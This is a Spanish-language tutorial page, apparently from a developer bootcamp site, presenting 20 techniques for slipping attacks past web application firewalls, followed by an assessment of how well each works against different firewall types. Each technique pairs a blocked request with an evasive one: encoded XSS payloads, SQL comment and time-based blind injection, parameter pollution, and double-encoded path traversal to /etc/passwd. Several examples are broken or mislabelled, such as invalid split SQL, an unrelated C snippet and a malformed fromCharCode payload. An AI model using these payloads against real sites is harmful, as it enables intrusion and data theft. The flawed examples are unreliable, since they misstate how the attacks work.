A tu propio ritmo

Explora nuestra extensa colección de cursos diseñados para ayudarte a dominar varios temas y habilidades. Ya seas un principiante o un aprendiz avanzado, aquí hay algo para todos.

Bootcamp

Aprende en vivo

Únete a nosotros en nuestros talleres gratuitos, webinars y otros eventos para aprender más sobre nuestros programas y comenzar tu camino para convertirte en desarrollador.

Próximos eventos en vivo

Catálogo de contenidos

Para los geeks autodidactas, este es nuestro extenso catálogo de contenido con todos los materiales y tutoriales que hemos desarrollado hasta el día de hoy.

Tiene sentido comenzar a aprender leyendo y viendo videos sobre los fundamentos y cómo funcionan las cosas.

Buscar en lecciones


IngresarEmpezar
← Regresar a lecciones
Editar en Github

Dominando la Evasión de Cortafuegos de aplicaciones web: Técnicas y Mejores Prácticas

1. Técnica de Codificación de URL
¿Qué tan efectivas son las técnicas mencionadas anteriormente?

La siguiente es una lista de técnicas de hacking muy específicas que puedes utilizar para evadir firewalls. Ten en cuenta que existen aproximadamente una docena de tipos de firewalls y estas técnicas funcionan con una parte de ellos.

Aquí tienes una explicación detallada de cada técnica, incluyendo cómo hacerlo, una solicitud básica bloqueada y una solicitud actualizada que puede eludir el WAF:

1. Técnica de Codificación de URL

Cómo hacerlo:
Codifica caracteres especiales en el payload utilizando codificación URL (codificación de porcentaje) para evadir la detección del WAF.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con codificación de URL:

1%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E

2. Técnica de Unicode

Cómo hacerlo:
Convierte caracteres en el payload a sus equivalentes en Unicode para evadir la detección.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con codificación Unicode:

1\u003Cscript\u003Ealert('XSS')\u003C/script\u003E

3. Técnica de Renderización HTML

Cómo hacerlo:
Usa entidades HTML para codificar caracteres en el payload, que pueden renderizarse correctamente en el navegador pero evadir el WAF.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con entidades HTML:

1&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;

4. Técnica de Codificación Mixta

Cómo hacerlo:
Combina múltiples técnicas de codificación (por ejemplo, codificación URL y entidades HTML) en un solo payload para confundir al WAF.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con codificación mixta:

1%3Cscript%3Ealert%28%26%2339%3BXSS%26%2339%3B%29%3C%2Fscript%3E

5. Manipulación de Mayúsculas y Minúsculas

Cómo hacerlo:
Combina caracteres en mayúsculas y minúsculas para crear payloads eficientes.

Solicitud original bloqueada:

1<script>confirm()</script>

Actualizado con cambio de mayúsculas/minúsculas:

1<ScrIpT>confirm()</sCRiPt>

6. Eludir Filtros con Comentarios

Cómo hacerlo:
Inserta comentarios o caracteres adicionales dentro del payload para romper los patrones que el WAF busca.

Solicitud original bloqueada:

1SELECT * FROM users WHERE id=1;

Actualizado con comentarios:

1SELECT/*comment*/ * FROM users WHERE id=1;

7. Contaminación de Parámetros

Cómo hacerlo:
Envía múltiples parámetros con el mismo nombre en una sola solicitud para confundir al WAF o la aplicación web.

Solicitud original bloqueada:

1GET /search?q=malicious_query

Actualizado con contaminación de parámetros:

1GET /search?q=benign_query&q=malicious_query

8. Recorrido de Rutas con Doble Codificación

Cómo hacerlo:
Utiliza doble codificación para eludir las reglas del WAF que solo verifican secuencias codificadas una vez.

Solicitud original bloqueada:

1GET /../../etc/passwd

Actualizado con doble codificación:

1GET /%252e%252e%252f%252e%252e%252fetc%252fpasswd

9. Personalización de Encabezados User-Agent o Referrer

Cómo hacerlo:
Modifica el encabezado User-Agent o Referrer para evadir las reglas del WAF que pueden aplicar reglas diferentes según estos encabezados.

Solicitud original bloqueada:

1GET /admin HTTP/1.1 2User-Agent: NormalBrowser

Actualizado con un User-Agent personalizado:

1GET /admin HTTP/1.1 2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36

10. Inyección SQL Basada en Tiempo (Inyección SQL a Ciegas)

Cómo hacerlo:
Usa demoras de tiempo en la inyección SQL para inferir información de la base de datos sin recuperar datos directamente.

Solicitud original bloqueada:

1GET /search?q=' OR 1=1; --

Actualizado con inyección SQL basada en tiempo:

1GET /search?q='; IF (1=1) WAITFOR DELAY '00:00:05'; --

11. Manipulación de Parámetros HTTP

Cómo hacerlo:
Modifica parámetros en solicitudes HTTP, particularmente solicitudes POST, para evadir las reglas del WAF enfocadas en solicitudes GET.

Solicitud original bloqueada:

1POST /login HTTP/1.1 2username=admin&password=123456

Actualizado con manipulación de parámetros:

1POST /login HTTP/1.1 2username=admin&password=wrong_password

12. Fragmentación de Payload

Cómo hacerlo:
Divide el payload en múltiples solicitudes o paquetes para evitar la detección del WAF.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con fragmentación de payload:

1<script>aler 2t('XSS')</script>

13. Análisis de Pruebas y Registros

Cómo hacerlo:
Analiza los registros y respuestas del WAF para identificar qué payloads están siendo bloqueados y ajustarlos en consecuencia.

Solicitud original bloqueada:

1GET /admin HTTP/1.1

Actualizado basado en análisis de registros:

1GET /admin.php HTTP/1.1

14. Ofuscación con Comodines

Cómo hacerlo:
Utiliza caracteres comodín de una manera que confunda el patrón de coincidencia del WAF.

Solicitud original bloqueada:

1SELECT * FROM users WHERE username='admin';

Actualizado con ofuscación con comodines:

1SELECT * FROM users WHERE username LIKE 'adm%';

15. Técnica de Ruptura de Tokens

Cómo hacerlo:
Inserta caracteres o elementos que rompan los tokens que el WAF utiliza para identificar patrones maliciosos.

Solicitud original bloqueada:

1SELECT * FROM users WHERE id=1;

Actualizado con ruptura de tokens:

1SELEC + T * FROM users WHERE id=1;

16. Técnica de Tabulaciones y Saltos de Línea

Cómo hacerlo:
Inserta tabulaciones (\t) o saltos de línea (\n) dentro de los payloads para interrumpir la coincidencia de patrones del WAF.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con tabulaciones y saltos de línea:

1<script>\n\talert('XSS')</script>

17. Técnica de Variables No Inicializadas

Cómo hacerlo:
Usa variables no inicializadas o raramente utilizadas en el payload para confundir los algoritmos de detección del WAF.

Solicitud original bloqueada:

1int x = 1; return x;

Actualizado con variable no inicializada:

1int x; return x = 1;

18. Técnica de Saltos de Línea

Cómo hacerlo:
Introduce caracteres de salto de línea dentro de un payload para dividir los patrones maliciosos que el WAF está escaneando.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con caracteres de salto de línea:

1<script> 2alert('XSS') 3</script>

19. Técnica de Caracteres Basura

Cómo hacerlo:
Inserta caracteres aleatorios o irrelevantes en el payload que la aplicación objetivo ignorará, pero que podrían hacer que el WAF pase por alto el ataque.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con caracteres basura:

1<scri%00pt>alert('XSS')</scri%00pt>

20. Técnica de Generación Dinámica de Payload

Cómo hacerlo:
Genera payloads dinámicamente, de modo que cambien en cada solicitud, lo que dificulta que el WAF los reconozca y bloquee.

Solicitud original bloqueada:

1<script>alert('XSS')</script>

Actualizado con generación dinámica de payload:

1<script>eval(String.fromCharCode(97,108,101, 2 3114,116)('XSS'))</script>

¿Qué tan efectivas son las técnicas mencionadas anteriormente?

Las técnicas de evasión de firewalls que discutimos generalmente tienen como objetivo eludir tipos específicos de firewalls, particularmente aquellos que realizan inspección profunda de paquetes o filtrado a nivel de aplicación, como los Firewalls de Aplicaciones Web (WAF) y los Firewalls de Próxima Generación (NGFW). Sin embargo, la efectividad de estas técnicas puede variar dependiendo del tipo de firewall, su configuración y sus capacidades específicas. Aquí se muestra cómo estas técnicas podrían interactuar con diferentes tipos de firewalls:

1. Firewalls de Filtrado de Paquetes

  • Efectividad de las Técnicas:
    • Los firewalls de filtrado de paquetes inspeccionan principalmente direcciones IP, números de puerto y protocolos. Técnicas como Manipulación de Mayúsculas y Minúsculas o Tabulaciones y Saltos de Línea podrían no ser relevantes aquí ya que este tipo de firewall no inspecciona el contenido del payload. Contaminación de Parámetros aún podría funcionar si el firewall está filtrando en función de parámetros específicos.
    • Ruptura de Tokens o Ofuscación con Comodines podrían eludir reglas de filtrado simples si el firewall está configurado para bloquear comandos o palabras clave específicas en los encabezados o URLs.

2. Firewalls de Inspección con Estado

  • Efectividad de las Técnicas:
    • Los firewalls con inspección de estado rastrean el estado de las conexiones, por lo que técnicas como Manipulación de Parámetros HTTP podrían no funcionar si se está monitoreando de cerca el estado de la conexión.
    • Fragmentación de Payload podría ser más efectiva si el firewall no es capaz de reensamblar payloads fragmentados para su inspección.

3. Firewalls Proxy (Puertas de Enlace a Nivel de Aplicación)

  • Efectividad de las Técnicas:
    • Los firewalls proxy inspeccionan el tráfico en la capa de aplicación, por lo que muchas de las técnicas como Codificación Unicode, Renderización HTML, Manipulación de Mayúsculas y Minúsculas, y Codificación Mixta podrían ser efectivas si el proxy no está configurado para decodificar o normalizar estas variaciones.
    • Eludir Filtros con Comentarios y Generación Dinámica de Payloads también pueden ser efectivas dependiendo de la capacidad del proxy para interpretar correctamente el payload.

4. Firewalls de Próxima Generación (NGFW)

  • Efectividad de las Técnicas:
    • Los NGFW están diseñados para detectar y bloquear amenazas más sofisticadas, por lo que técnicas como Inyección SQL Basada en Tiempo y Ofuscación con Comodines podrían ser menos efectivas, especialmente si el NGFW incluye Sistemas de Prevención de Intrusiones (IPS) que reconocen estos patrones.
    • Técnicas como Generación Dinámica de Payloads aún podrían funcionar si los payloads están suficientemente ofuscados o randomizados.

5. Firewalls de Gestión Unificada de Amenazas (UTM)

  • Efectividad de las Técnicas:
    • Los UTM incluyen una variedad de funciones de seguridad, por lo que podría ser necesario una combinación de técnicas para eludirlos. Ruptura de Tokens y Técnicas de Variables No Inicializadas podrían evadir algunas de las reglas de detección automatizadas, pero su efectividad general dependerá de la configuración específica del UTM.

6. Firewalls Virtuales y en la Nube

  • Efectividad de las Técnicas:
    • Estos firewalls a menudo imitan la funcionalidad de los firewalls tradicionales pero operan en entornos virtualizados. Técnicas que dependen de explotar debilidades específicas de protocolos (como Recorrido de Rutas con Doble Codificación o Técnicas de Tabulaciones y Saltos de Línea) podrían aún funcionar si el firewall virtual o en la nube no está configurado para normalizar o decodificar estos patrones.

7. Firewalls Basados en Host

  • Efectividad de las Técnicas:
    • Los firewalls basados en host típicamente se enfocan en proteger un solo dispositivo. Técnicas como Inserción de Caracteres Basura o Técnica de Unicode podrían no ser efectivas a menos que el firewall basado en host inspeccione datos a nivel de aplicación.
    • Personalización de Encabezados User-Agent o Referrer podría funcionar si el firewall está filtrando en función de estos encabezados.

8. Firewalls de Hardware

  • Efectividad de las Técnicas:
    • Los firewalls de hardware, particularmente aquellos enfocados en el filtrado a nivel de red, podrían no verse afectados por muchas de las técnicas dirigidas a los WAF o al filtrado a nivel de aplicación. Técnicas como Fragmentación de Paquetes o Manipulación de Parámetros HTTP aún podrían funcionar, dependiendo de cómo esté configurado el firewall de hardware para manejar tales anomalías.

9. Firewalls de Aplicaciones Web (WAF)

  • Efectividad de las Técnicas:
    • Las técnicas discutidas son particularmente relevantes para los WAF, ya que están diseñados para proteger contra ataques a nivel de aplicación como inyección SQL, XSS, y otros. Técnicas como Manipulación de Mayúsculas y Minúsculas, Eludir Filtros con Comentarios, y Técnicas de Renderización HTML están directamente dirigidas a confundir o evadir la detección del WAF.

Conclusión

No todas las técnicas son universalmente efectivas en todos los tipos de firewalls. Su éxito depende en gran medida del tipo específico de firewall, su configuración y la naturaleza del tráfico que inspecciona. Algunas técnicas son más adecuadas para firewalls a nivel de aplicación como los WAF, mientras que otras podrían dirigirse a firewalls más simples que filtran a nivel de red. Comprender las capacidades y configuraciones específicas del firewall en cuestión es esencial al aplicar técnicas de evasión.